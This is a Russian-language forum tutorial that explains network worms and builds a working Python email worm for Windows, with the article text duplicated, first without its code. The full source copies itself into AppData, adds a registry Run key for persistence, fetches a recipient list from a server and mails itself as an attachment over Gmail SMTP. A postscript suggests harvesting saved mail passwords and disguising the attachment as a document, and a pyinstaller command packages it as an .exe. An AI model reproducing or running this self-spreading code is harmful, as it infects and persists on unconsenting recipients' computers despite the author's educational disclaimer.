Приветствую!
Пытался придумать вводную - не получилось... Да и оно вам надо? Так что, давайте вкратце: в этой статье мы разберем такой тип вирусов, как "сетевой червь" и даже напишем одного такого.
Итак, что же такое, эти ваши сетевые черви?
Если поискать на википедии, то можно найти следующее определение: "Сетевой червь — разновидность
Распространятся по сети черви могут, отправляя свои копии по электронной почте, или заражая устройства, используя критические уязвимости систем (например, такие, как, знаменитая, закрытая уже Eternal Blue). Сетевые черви могут размножаться по каналам файлообменных пиринговых (p2p) сетей (например, Kazaa, Grokster, eDonkey, FastTrack, Gnutella и др.), в системах мгновенного обмена сообщениями (таких как Facebook Messenger, Skype или WhatsApp) и даже, через наше любимую, "безопасную" IRC.
Принцип работы сетевого червя довольно прост - вредоносная программа попадает на устройство, закрепляется там, выполняет вредоносные действия, если есть такая задача и распространяется дальше.
Ну что ж, предлагаю создать одного такого представителя, данного семейства вирусов.
!ВАЖНО! Прошу обратить внимание, что т.к. материал в статье представлен исключительно в образовательных целях, созданный нами червь не будет выполнять никаких вредоносных действий, не будет прятаться на зараженном устройстве и маскировать себя при распространении и самовоспроизведении (например выдавая себя за документ). И вообще, создание вредоносных программ - плохо и можно за это понести ответственность, согласно
Для начала, давайте уточним язык программирования, на котором будем творить. Я, естественно буду использовать python3 (не зря же я в этой ветке тему создал, да?), т.к.я криворукий рукожоп и не могу нормально использовать другой яп он простой и наглядный, но если есть понимание, что программа делает, то и написать её на другом ЯПе не составит труда.
Теперь определимся, какие задачи будет выполнять наша программа, после заражения устройства (червь будет создан под устройства с ОС windows):
1. Создать свою копию на зараженном устройстве.
2. Записать себя в автозагрузку, через реестр.
3. Триггернуть canarytoken (чтоб нам на почту капнуло уведомление, о том, что червь засел на очередном устройстве)
4. Обратиться к серверу и получить от него какие-либо данные (инструкции). * В нашем случае червь будет получать список email-адресов для дальнейшей рассылки по ним своих копий
5. Выполнить какие-либо действия на зараженном устройстве.
6. Начать самораспространение, путем отправки своих копий, на ранее полученные email-адреса.
С задачами определились, можно и начинать кодить.
Для начала давайте импортируем нужные нам модули:
Думаю, os, sys, requests - всем знакомы, на них останавливаться не будем. Модуль winreg предоставляет доступ к реестру Windows, smtplib и email - используются для создания электронной рассылки.
Если у вас отсутствует какой-либо модуль, его нужно установить используя команду:
Теперь решим первую задачу - самовоспроизведение. Заставим нашего червяка размножится вегетативно, так сказать:
С этой частью - все должно быть ясно и проблем возникнуть не должно. Просто проверяем, есть ли уже наш червь на устройстве, если нет - то копируем его. Тут наш червь не прячется и копирует себя в том виде, в котором есть, со вполне очевидным названием.
Переходим ко второй задаче - прописываем червя в автозапуск, через реестр:
Готово, тут тоже все элементарно - определяем путь в реестре до автозапуска и создаем новую запись. Прошу отметить, что червяк не будет маскироваться под какую-нибудь системную утилиту, а имеет честное название "worm".
Теперь перейдем к пунктам 3 и 4 - тригернем канарейку и получим инструкции с сервера. Про то, как создать свой cannarytoken в интернете есть много информации, да и сам процесс создания не особо сложный, так что заострять внимание на этом не буду, если у кого-то возникнут вопросы - расскажу в следующий раз, что это, с чем это едят и как такое сделать.
Обратите внимание, что, т.к. я не собираюсь заражать устройства в сторонних сетях, то мой сервер находится в той же сети, что и зараженное устройство. поднят он простейшим способом, при помощи питона и команды:
Так же, вместо своего сервера, можно использовать другие средства, например - гит-репозиторий, с которого червь будит тянуть то, что нам нужно.
Ну что ж, больше половины червяка готово, теперь перейдем к пункту 5 и напишем отдельную функцию, для выполнения зловредных и не очень действий:
У нас, как понятно по коду, никаких вредоносных действий выполняться не будет, просто создастся файл "README.txt", но отдельная функция нужна, для наглядности, т.к. на самом деле в неё можно запихать целую кучу различных действий.
И вот мы наконец добрались до последнего 6 пункта - самораспространения. Напишем функцию, которая будет рассылать копии нашего червя на email-адреса, указанные в присланном ранее файле, с сервера:
В качестве почты, с которой червь будет производить рассылку, используется почта gmail. Сразу надо отметить, что в настройках аккаунта gogle надо открыть доступ к почте из ненадежных источников, иначе защита gmail не даст нам залогиниться и отправлять сообщения.
Вот и все, ребята, как говорится. Склеим нашего монстра Франкенштейна и проверим его работоспособность...
Код червя целиком:
Запускаем и проверяем:
Червь отработал, посмотрим, что же произошло:
В папке "AppData/Roaming" появился каталог "worm" с копией нашего червя.
До:
После:
Появилась запись в реестре. Теперь при каждом запуске устройства, червь будет пытаться размножиться и выполнить то, для чего предназначался.
До:
После:
Подключение к серверу прошло успешно, в каталоге, из которого производился запуск червя появился файл с инструкциями (стянутый с сервера) и README.txt (свидетельствующий об успешном выполнении функции Execute()):
Пришло сообщение о триггере канарейки
В "отправленных" появилось отправленное червем письмо:
В почтовом ящике эфемерной "жертвы" появилось письмо с вложенным червем:
Вложение скачивается без особых проблем и при запуске пользователем, червь будет активно выполнять заложенные в него функции, тем самым распространяясь все больше и больше.
P.S. Реальный такой червь, вместо получения списка email'ов с сервера мог бы вытягивать с устройства жертвы пароль от почты (если он сохранен, а многие такие вещи сохраняют в каких-нибудь, встроенных в браузер, парольных менеджерах), брать несколько последних адресов с которыми "жертва" вела переписку и отправлять свои копии им, притворяясь при этом каким-нибудь важным документом, кончено.
Ну и на последок, можно скомпилировать нашего червя в .exe файл при помощи pyinstaller и команды:
На этом - статья заканчивается, спасибо всем, кто нашел в себе силы дочитать до конца. Надеюсь, что такой вид вирусов, как "сетевые черви" были тут понятно разобраны и хоть кто-то нашел для себя что-то новое, или просто интереное.
Пытался придумать вводную - не получилось... Да и оно вам надо? Так что, давайте вкратце: в этой статье мы разберем такой тип вирусов, как "сетевой червь" и даже напишем одного такого.
Итак, что же такое, эти ваши сетевые черви?
Если поискать на википедии, то можно найти следующее определение: "Сетевой червь — разновидность
Ссылка скрыта от гостей
, самостоятельно распространяющейся через локальные и глобальные (
Ссылка скрыта от гостей
) компьютерные сети." и, в принципе, все верно, сетевой червь - это действительно вредоносная программа, способная воспроизводить себя на устройствах, распространяющаяся по сетевым каналам и часто, способная к самостоятельному преодолению систем защиты компьютерных сетей. При этом пользователь не подозревает о заражении своего компьютера.Распространятся по сети черви могут, отправляя свои копии по электронной почте, или заражая устройства, используя критические уязвимости систем (например, такие, как, знаменитая, закрытая уже Eternal Blue). Сетевые черви могут размножаться по каналам файлообменных пиринговых (p2p) сетей (например, Kazaa, Grokster, eDonkey, FastTrack, Gnutella и др.), в системах мгновенного обмена сообщениями (таких как Facebook Messenger, Skype или WhatsApp) и даже, через наше любимую, "безопасную" IRC.
Принцип работы сетевого червя довольно прост - вредоносная программа попадает на устройство, закрепляется там, выполняет вредоносные действия, если есть такая задача и распространяется дальше.
Ну что ж, предлагаю создать одного такого представителя, данного семейства вирусов.
!ВАЖНО! Прошу обратить внимание, что т.к. материал в статье представлен исключительно в образовательных целях, созданный нами червь не будет выполнять никаких вредоносных действий, не будет прятаться на зараженном устройстве и маскировать себя при распространении и самовоспроизведении (например выдавая себя за документ). И вообще, создание вредоносных программ - плохо и можно за это понести ответственность, согласно
Ссылка скрыта от гостей
, или другой страны, в которой вы проживаете.Для начала, давайте уточним язык программирования, на котором будем творить. Я, естественно буду использовать python3 (не зря же я в этой ветке тему создал, да?), т.к.
Теперь определимся, какие задачи будет выполнять наша программа, после заражения устройства (червь будет создан под устройства с ОС windows):
1. Создать свою копию на зараженном устройстве.
2. Записать себя в автозагрузку, через реестр.
3. Триггернуть canarytoken (чтоб нам на почту капнуло уведомление, о том, что червь засел на очередном устройстве)
4. Обратиться к серверу и получить от него какие-либо данные (инструкции). * В нашем случае червь будет получать список email-адресов для дальнейшей рассылки по ним своих копий
5. Выполнить какие-либо действия на зараженном устройстве.
6. Начать самораспространение, путем отправки своих копий, на ранее полученные email-адреса.
С задачами определились, можно и начинать кодить.
Для начала давайте импортируем нужные нам модули:
Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys
import shutil
import requests
from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.application import MIMEApplication
Думаю, os, sys, requests - всем знакомы, на них останавливаться не будем. Модуль winreg предоставляет доступ к реестру Windows, smtplib и email - используются для создания электронной рассылки.
Если у вас отсутствует какой-либо модуль, его нужно установить используя команду:
илиpip install 'название модуля'
pip3 install 'название модуля'
Теперь решим первую задачу - самовоспроизведение. Заставим нашего червяка размножится вегетативно, так сказать:
Python:
def main():
# Создаем клона
dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы
path = dir + os.path.basename(__file__) # тут будет копия программы, она же будет запускаться в дальнейшем
if not os.path.exists(dir):
# если директории не существует - создать и скопировать туда нашего червя
os.makedirs(dir) # создание директории в appdata
shutil.copy(__file__, path) # копирование программы
С этой частью - все должно быть ясно и проблем возникнуть не должно. Просто проверяем, есть ли уже наш червь на устройстве, если нет - то копируем его. Тут наш червь не прячется и копирует себя в том виде, в котором есть, со вполне очевидным названием.
Переходим ко второй задаче - прописываем червя в автозапуск, через реестр:
Python:
# прописываем в автозапуск, через реестр
reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS)
SetValueEx(reestr_path, 'worm', 0, REG_SZ, path)
CloseKey(reestr_path)
Готово, тут тоже все элементарно - определяем путь в реестре до автозапуска и создаем новую запись. Прошу отметить, что червяк не будет маскироваться под какую-нибудь системную утилиту, а имеет честное название "worm".
Теперь перейдем к пунктам 3 и 4 - тригернем канарейку и получим инструкции с сервера. Про то, как создать свой cannarytoken в интернете есть много информации, да и сам процесс создания не особо сложный, так что заострять внимание на этом не буду, если у кого-то возникнут вопросы - расскажу в следующий раз, что это, с чем это едят и как такое сделать.
Python:
# Тригирим канарейку
requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html')
# получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки)
instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера
with open('instruction.txt', 'wb') as f:
shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции
Обратите внимание, что, т.к. я не собираюсь заражать устройства в сторонних сетях, то мой сервер находится в той же сети, что и зараженное устройство. поднят он простейшим способом, при помощи питона и команды:
В каталоге, который используется, как корневая директория сервера лежит заготовленный файл с инструкциями "instruction.txt", который и стягивает наш червь.sudo python -m SimpleHTTPServer 80
Так же, вместо своего сервера, можно использовать другие средства, например - гит-репозиторий, с которого червь будит тянуть то, что нам нужно.
Ну что ж, больше половины червяка готово, теперь перейдем к пункту 5 и напишем отдельную функцию, для выполнения зловредных и не очень действий:
Python:
def Execute():
"""Функция для выполненя зловредных действий"""
with open('README.txt', 'w', encoding='utf-8') as f:
f.write('Belligerent worm in action')
У нас, как понятно по коду, никаких вредоносных действий выполняться не будет, просто создастся файл "README.txt", но отдельная функция нужна, для наглядности, т.к. на самом деле в неё можно запихать целую кучу различных действий.
И вот мы наконец добрались до последнего 6 пункта - самораспространения. Напишем функцию, которая будет рассылать копии нашего червя на email-адреса, указанные в присланном ранее файле, с сервера:
Python:
def SendMail(path):
"""Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции"""
# подготовка данных писма
with open('instruction.txt', 'r') as f:
for mail in f:
# читаем файл с email-адресами, для рассылки построчно
if mail != None:
FROM = "forwormpost@gmail.com" # почта с которой будет вестись отправка
TO = mail
msg = MIMEMultipart()
msg['From'] = FROM
msg['To'] = TO
msg['Subject'] = 'worm' # тема письма
# вложение файла
with open(path, 'rb') as f:
part = MIMEApplication(f.read(), Name=os.path.basename(path))
part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path)
msg.attach(part)
# Отправка письма
smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587)
smtpOBJ.starttls()
smtpOBJ.login(FROM, 'паорль от своей почты')
smtpOBJ.sendmail(FROM, TO, msg.as_string())
smtpOBJ.quit()
В качестве почты, с которой червь будет производить рассылку, используется почта gmail. Сразу надо отметить, что в настройках аккаунта gogle надо открыть доступ к почте из ненадежных источников, иначе защита gmail не даст нам залогиниться и отправлять сообщения.
Вот и все, ребята, как говорится. Склеим нашего монстра Франкенштейна и проверим его работоспособность...
Код червя целиком:
Python:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys
import shutil
import requests
from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.application import MIMEApplication
def main():
# Создаем клона
dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы
path = dir + os.path.basename(__file__) #тут будет копия программы, она же будет запускаться в дальнейшем
if not os.path.exists(dir):
os.makedirs(dir)
shutil.copy(__file__, path)
# прописываем в автозапуск, через реестр
reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS)
SetValueEx(reestr_path, 'worm', 0, REG_SZ, path)
CloseKey(reestr_path)
# Тригирим канарейку
requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html')
# получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки)
instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера
with open('instruction.txt', 'wb') as f:
shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции
Execute() # выполняем зловредные действия
SendMail(path) # начинаем процесс самовоспроизведения и распространения
def Execute():
"""Функция для выполненя зловредных действий"""
with open('README.txt', 'w', encoding='utf-8') as f:
f.write('Belligerent worm in action')
def SendMail(path):
"""Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции"""
# подготовка данных писма
with open('instruction.txt', 'r') as f:
for mail in f:
if mail != None:
FROM = "forwormpost@gmail.com"
TO = mail
msg = MIMEMultipart()
msg['From'] = FROM
msg['To'] = TO
msg['Subject'] = 'worm'
# вложение файла
with open(path, 'rb') as f:
part = MIMEApplication(f.read(), Name=os.path.basename(path))
part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path)
msg.attach(part)
# Отправка письма
smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587)
smtpOBJ.starttls()
smtpOBJ.login(FROM, 'пароль от почты')
smtpOBJ.sendmail(FROM, TO, msg.as_string())
smtpOBJ.quit()
if __name__ == "__main__":
main()
Запускаем и проверяем:
Червь отработал, посмотрим, что же произошло:
В папке "AppData/Roaming" появился каталог "worm" с копией нашего червя.
До:
После:
Появилась запись в реестре. Теперь при каждом запуске устройства, червь будет пытаться размножиться и выполнить то, для чего предназначался.
До:
После:
Подключение к серверу прошло успешно, в каталоге, из которого производился запуск червя появился файл с инструкциями (стянутый с сервера) и README.txt (свидетельствующий об успешном выполнении функции Execute()):
Пришло сообщение о триггере канарейки
В "отправленных" появилось отправленное червем письмо:
В почтовом ящике эфемерной "жертвы" появилось письмо с вложенным червем:
Вложение скачивается без особых проблем и при запуске пользователем, червь будет активно выполнять заложенные в него функции, тем самым распространяясь все больше и больше.
P.S. Реальный такой червь, вместо получения списка email'ов с сервера мог бы вытягивать с устройства жертвы пароль от почты (если он сохранен, а многие такие вещи сохраняют в каких-нибудь, встроенных в браузер, парольных менеджерах), брать несколько последних адресов с которыми "жертва" вела переписку и отправлять свои копии им, притворяясь при этом каким-нибудь важным документом, кончено.
Ну и на последок, можно скомпилировать нашего червя в .exe файл при помощи pyinstaller и команды:
pyinstaller --onefile --icon='иконка приложения.ico' 'название программы'
На этом - статья заканчивается, спасибо всем, кто нашел в себе силы дочитать до конца. Надеюсь, что такой вид вирусов, как "сетевые черви" были тут понятно разобраны и хоть кто-то нашел для себя что-то новое, или просто интереное.
Последнее редактирование модератором: